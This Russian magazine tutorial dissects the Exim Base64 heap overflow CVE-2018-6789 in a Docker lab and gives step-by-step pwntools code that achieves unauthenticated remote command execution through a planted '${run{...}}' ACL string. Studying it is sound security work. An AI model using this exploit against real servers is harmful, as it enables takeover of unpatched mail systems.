Содержание статьи
Обнаруженная проблема — это своеобразное продолжение предыдущего бага, который нашел тот же исследователь под ником Meh. На этот раз он раскопал возможность переполнения буфера в функции для работы с кодировкой Base64.
Уязвимость уже обзавелась своим идентификатором CVE-2018-6789 и получила статус критической, потому что приводит к удаленному выполнению любых команд на целевой системе с правами пользователя, от имени которого работает Exim. Причем не нужна ни авторизация, ни какой-либо другой уровень доступа. Нужен только коннект к порту SMTP.
Готовим инструменты
Под эту уязвимость существует добротно настроенный докер-контейнер, так что говорим спасибо товарищу под ником Skysider и запускаем:
$ docker run -it --rm --name exim -p 25:25 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined skysider/vulndocker:cve-2018-6789
Пробрасываем из Docker стандартный порт, на котором висит SMTP.
Xakep #230. Социальная инженерия
Если нужна поддержка дебаггера, то не забудь его установить и перекомпилировать Exim с отладочными символами.
$ apt-get update && apt-get install -y gdb
$ cd exim-4.89
$ printf "CFLAGS += -g\n" >> Local/Makefile
$ make
Также нам понадобится Python с установленным pwntools для написания и тестирования эксплоита. Я просто разверну еще один докер-контейнер на основе Debian.
$ docker run -it --rm --link=exim debian /bin/bash
$ apt-get update && apt-get install -y python python-pip
$ pip install pwntools
Все готово, вперед к победам!
Работа с кучей
Для начала взглянем на саму провинившуюся функцию.
/src/base64.c
153: b64decode(const uschar *code, uschar **ptr)
154: {
155: int x, y;
156: uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
157:
158: *ptr = result;
За выделение требуемого количества памяти отвечает store_get
— кастомная функция из набора для менеджмента памяти, который используется в составе Exim.
/src/store.h
30: #define store_extend(addr,old,new) \
31: store_extend_3(addr, old, new, __FILE__, __LINE__)
32:
33: #define store_free(addr) store_free_3(addr, __FILE__, __LINE__)
34: #define store_get(size) store_get_3(size, __FILE__, __LINE__)
35: #define store_get_perm(size) store_get_perm_3(size, __FILE__, __LINE__)
36: #define store_malloc(size) store_malloc_3(size, __FILE__, __LINE__)
37: #define store_release(addr) store_release_3(addr, __FILE__, __LINE__)
38: #define store_reset(addr) store_reset_3(addr, __FILE__, __LINE__)
...
43: extern BOOL store_extend_3(void *, int, int, const char *, int);
44: extern void store_free_3(void *, const char *, int);
45: extern void *store_get_3(int, const char *, int);
46: extern void *store_get_perm_3(int, const char *, int);
47: extern void *store_malloc_3(int, const char *, int);
48: extern void store_release_3(void *, const char *, int);
49: extern void store_reset_3(void *, const char *, int);
Во время работы функции выделяется буфер размером 3*(len/4)+1
байт для хранения декодированных данных, где len
— длина передаваемых данных. Такая формула не случайна, так как в стандарте Base64 каждые три исходных байта кодируются четырьмя символами. В идеальных условиях размер переданных данных всегда кратен четырем, но, к счастью, мы живем не в них, и если передать невалидную кодированную строку, то функция store_get
получит неверное значение размера выделяемой памяти.
В общем случае, когда передаем строку размером 4n – 1, Exim зарезервирует 3n + 1 байт, но после декодирования получится строка, итоговый размер которой будет равен 3n + 2 байта, и это вызовет переполнение при попытке записи в выделенный буфер.
Где используется кодировка Base64? Да практически везде. Начиная от разных типов авторизаций и заканчивая файлами, которые прикрепляются к письмам. Все эти вещи потенциально уязвимы. Авторизация нам подходит, так как для отправки сообщений чаще всего потребуется валидный логин и пароль. На тестовом стенде уже включен механизм аутентификации CRAM-MD5, но подойдет и любой другой, который работает с Base64.
Теперь немножко поговорим о работе с памятью. Как я уже писал, в Exim существует самописный набор функций для этих целей. Функция store_malloc
— вызов malloc
прямиком из библиотеки glibc. Она занимается выделением блока памяти нужного размера.
/src/store.c
507: void *
508: store_malloc_3(int size, const char *filename, int linenumber)
509: {
510: void *yield;
511:
512: if (size < 16) size = 16;
513:
514: if (!(yield = malloc((size_t)size)))
Каждый раз при создании нового чанка первые 16 байт занимает блок с метаданными. Он как бы делится на два мини-блока. В первом располагается размер предыдущего чанка, а во втором — размер текущего и флаги, которые хранятся в первых трех битах. После этого функция возвращает указатель на начало блока с данными. Выглядит это примерно так.
Большинство чанков, используемых при работе Exim, хранятся в виде двусвязного списка (doubly linked list), который называется unsorted bin. Поскольку glibc объединяет все такие чанки в один большой блок, это позволяет избежать фрагментации. После каждого запроса на выделение библиотека повторно выделяет эти блоки в порядке «первым пришел — первым ушел» (FIFO).
Из соображений производительности Exim предоставляет собственную структуру связанного списка, с которой работают функции store_get
, store_release
, store_extend
и store_reset
. Эта структура называется storeblock
.
/src/store.c
71: typedef struct storeblock {
72: struct storeblock *next;
73: size_t length;
74: } storeblock;
Посмотри на ее содержимое: помимо обычного заголовка с метаданными, добавляется еще один. Он включает в себя адрес следующего элемента и размер данных текущего.
Минимальный размер таких элементов может быть 8192 байт плюс 16 байт хидера и еще 16 байт метаданных, итого — 8224 (0х2020).
Именно такие константы прописаны в функции store_get
.
/src/store.c
062: #define STORE_BLOCK_SIZE 8192
...
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
Чтобы успешно проэксплуатировать уязвимость, нам нужно создать структуру из трех частей.
На шаг ближе к уязвимости
Для создания структуры нам нужно научиться манипулировать чанками, как Амаяк Акопян. Это можно устроить с помощью некоторых команд протокола SMTP.
Первая в списке — EHLO
. Она используется для приветствия, которое передается после подключения к серверу. В качестве аргумента нужно передать полное доменное имя клиента. После того как команда отработает, указатель на переданный домен записывается в переменную sender_host_name
, а после повторного выполнения команды вызывается store_free
, чтобы освободить место для нового имени, которому выделяется память с помощью store_malloc
.
/src/smtp_in.c
1751: static BOOL
1752: check_helo(uschar *s)
1753: {
...
1758: /* Discard any previous helo name */
1759:
1760: if (sender_helo_name != NULL)
1761: {
1762: store_free(sender_helo_name);
1763: sender_helo_name = NULL;
1764: }
...
1810: if (yield) sender_helo_name = string_copy_malloc(start);
Наряду с EHLO
существуют команды MAIL
и RCPT
. Когда они успешно отработают, выполнится функция smtp_reset
, которая вызывает store_reset
и выполняет сброс цепочки блоков к точке сброса (reset_point
). Это приводит к освобождению всех чанков, выделенных функцией store_get
после последней команды.
/src/smtp_in.c
3648: int
3649: smtp_setup_msg(void)
3650: {
...
3656: void *reset_point = store_get(0);
...
3666: smtp_reset(reset_point);
3667: message_ended = END_NOTSTARTED;
/src/smtp_in.c
1882: static void
1883: smtp_reset(void *reset_point)
...
1982: store_reset(reset_point);
Следующий помощник — любая неизвестная серверу команда. Если она содержит непечатаемые символы, то они конвертируются в печатаемые, и Exim выделяет память для их хранения.
/src/smtp_in.c
5556: if (unknown_command_count++ >= smtp_max_unknown_commands)
5557: {
...
5571: done = synprot_error(L_smtp_syntax_error, 500, NULL,
5572: US"unrecognized command");
Команда AUTH
отвечает собственно за аутентификацию. Здесь мы и будем использовать переполнение в работе с Base64. Оригинальные и декодированные строки записываются в буфер при помощи store_get
. Она, так же как и EHLO
, принимает любые символы на вход, включая нулл-байты, что очень поможет нам при эксплуатации.
Эксплуатация
Для начала рекомендую запустить Exim через отладчик, чтобы было проще отслеживать шаги к RCE.
$ dbg /work/exim-4.89/build-Linux-x86_64/exim
$ r -bd -d-receive -C conf.conf
Запускаем Python, импортируем нужные библиотеки и подключаемся к агенту.
from pwn import *
from base64 import b64encode
serv = remote("192.168.99.100", 25)
Сначала помещаем большой чанк в unsorted bin. Это можно сделать с помощью команды EHLO
. Отправляем в качестве аргумента строку нужного нам размера.
serv.sendline("ehlo " + "a"*0x1000)
serv.sendline("ehlo " + "a"*0x20)
Дальше с помощью несуществующей команды вызываем выполнение store_get
. Можно накинуть на нее брейк-пойнт и увидеть, что таким образом мы размещаем структуру storeblock
в освободившемся после прошлого действия чанке.
serv.sendline("\xee"*0x700)
Теперь снова отправляем команду EHLO
, чтобы создать второй storeblock
, при этом первый освобождается, потому что отрабатывает smtp_reset
. Благодаря этому мы разместили блок, в котором хранится переданный в EHLO
sender_host_name
, в середине unsorted bin.
serv.sendline("ehlo " + "c"*0x2c00)
Теперь, когда приготовления кучи окончены, можно работать с переполнением. Наша задача — с его помощью увеличить размер чанка. Используем авторизацию CRAM-MD5.
serv.sendline("AUTH CRAM-MD5")
Высчитываем размер данных, которые нам нужно записать. Мы берем минимальный размер чанка, прибавляем к нему 16 байт метаданных и еще 7 байт, чтобы попасть в хидер storeblock
, в секцию размера данных.
payload = "d"*(0x2020+0x30-0x18-1)
Кодируем в Base64, добавляем байт, который будет записан (0xf1), и превращаем полученную строку в невалидный Base64.
serv.sendline(b64encode(payload)+"EfE")
Теперь после конвертации размер чанка с sender_host_name
станет равен 0x20f1 байт. Помним, что манипулировать можно только одним байтом, следовательно, мы можем менять значения в пределах 0x00–0xff.
Так как размер изменился, теперь следующий чанк начинается внутри исходного. Это нужно пофиксить, иначе проверки целостности из библиотеки glibc не дадут продолжать манипуляции с кучей.
serv.sendline("AUTH CRAM-MD5")
payload2 = 'm'*0x70+p64(0x1f41)
serv.sendline(b64encode(payload2))
Чтобы начать контролировать содержимое созданного фейкового чанка, нужно выполнить store_free
. Это можно сделать, используя все ту же команду EHLO
. Однако ее успешное выполнение приведет к вызову smtp_reset
, что, в свою очередь, кончится крашем процесса. Чтобы этого избежать, нужно отправить некорректное доменное имя в аргументах. Тогда выполнение функции закончится раньше ресета.
serv.sendline("ehlo anything+")
/src/smtp_in.c
3882: if (!check_helo(smtp_cmd_data))
3883: {
3884: smtp_printf("501 Syntactically invalid %s argument(s)\r\n", hello);
...
1797: if (!isalnum(*s) && *s != '.' && *s != '-' &&
1798: Ustrchr(helo_allow_chars, *s) == NULL)
1799: {
1800: yield = FALSE;
1801: break;
1802: }
...
1811: return yield;
Вот мы и приблизились к финальной стадии эксплуатации. На данный момент мы при помощи команды AUTH
можем изменять указатель на адрес следующего storeblock
. Ресерчер Meh, который обнаружил уязвимость, предложил интересную идею для выполнения произвольного кода с учетом этой возможности.
В Exim есть такое понятие, как раскрываемые строки (String Expansion). Это что-то вроде макросов из мира шаблонизаторов. Специальные строки обрабатываются интерпретатором Exim, и действия, которые они описывают, исполняются. Среди команд есть и вызов программы:
${run{<command> <args>}{<string1>}{<string2>}}
Для парсинга такого вида строк используется функция expand_string
. Она вызывается, например, в acl_check
.
/src/acl.c
4268: int
4269: acl_check(int where, uschar *recipient, uschar *s, uschar **user_msgptr,
4270: uschar **log_msgptr)
4271: {
...
4308: rc = acl_check_internal(where, addr, s, user_msgptr, log_msgptr);
3856: static int
3857: acl_check_internal(int where, address_item *addr, uschar *s,
3858: uschar **user_msgptr, uschar **log_msgptr)
3859: {
...
3882: if (acl_level == 0)
3883: {
3884: if (!(ss = expand_string(s)))
При каждой загрузке сервер читает конфигурацию и создает таблицу глобальных указателей на ACL (Access Control List). В ней есть записи вида acl_smtp_<команда>
, где команда
— это команда, к которой привязана строка. Так, acl_smtp_mail
указывает на строку acl_check_mail
, и парсер отрабатывает каждый раз, когда клиент передает MAIL
. Если имеются раскрываемые строки, то выполняется их интерпретация.
Таким образом, нам надо изменить указатель storeblock
на нужную запись из таблицы ACL.
serv.sendline("AUTH CRAM-MD5")
payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80)
addr = p16(addr*0x10+4)
serv.sendline(b64encode(payload3)+b64encode(addr)[:-1])
Проблема тут в том, чтобы определить, где расположена эта таблица. Как ты знаешь, адресное пространство — штука динамическая и реальный адрес зависит от множества факторов. К счастью, его можно получить методом брутфорса, потому что после указания адреса нужно выполнить smtp_reset
, освободить чанк. Как обычно, это делается с помощью команды EHLO
.
serv.sendline("ehlo crash")
И если в этот момент указатель был неверный, то приложение упадет с ошибкой и коннект клиента с сервером разорвется. Перебирая адреса и отслеживая коннект с сервером, можно определить верный адрес.
Я буду использовать команду MAIL
, и в моем случае адрес можно посмотреть в отладчике.
addr = 0x6c9
Записываем ACL:
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
serv.sendline("AUTH CRAM-MD5")
serv.sendline(b64encode(payload4)+'ee')
Генерируем строку с вызовом произвольной команды.
command = "/usr/bin/touch /tmp/owned"
payload5 = "a"*0x78 + "${run{" + command + "}}\x00"
serv.sendline("AUTH CRAM-MD5")
serv.sendline(b64encode(payload5)+"ee")
Мы привязали раскрываемую строку ${run{/usr/bin/touch /tmp/owned}}
, которая будет парситься и выполняться при каждом поступлении команды MAIL
. Проверим это.
serv.sendline("MAIL FROM: <test@test.com>")
Файл на месте, а значит, эксплоит отработал на ура.
Демонстрация уязвимости (видео)
Выводы
Интересно, что в статье об Exim в «Википедии» отдельным абзацем указано, что приложение крайне безопасно и имеет очень мало критических уязвимостей. И тут на тебе: за несколько месяцев такие проблемы! 🙂 Несколько критических уязвимостей, эксплуатация которых возможна удаленно, — это сильно. Будем надеяться, что разработчики отнесутся серьезнее к проверке исходного кода. А пока обновляйся: с Exim версии 4.90.1 уязвимость исправлена.
Сам эксплоит с возможностью брутфорса адреса ты сможешь найти на GitHub.
Надеюсь, статья помогла тебе разобраться в деталях уязвимости и немного прокачать скилл работы с бинарными багами.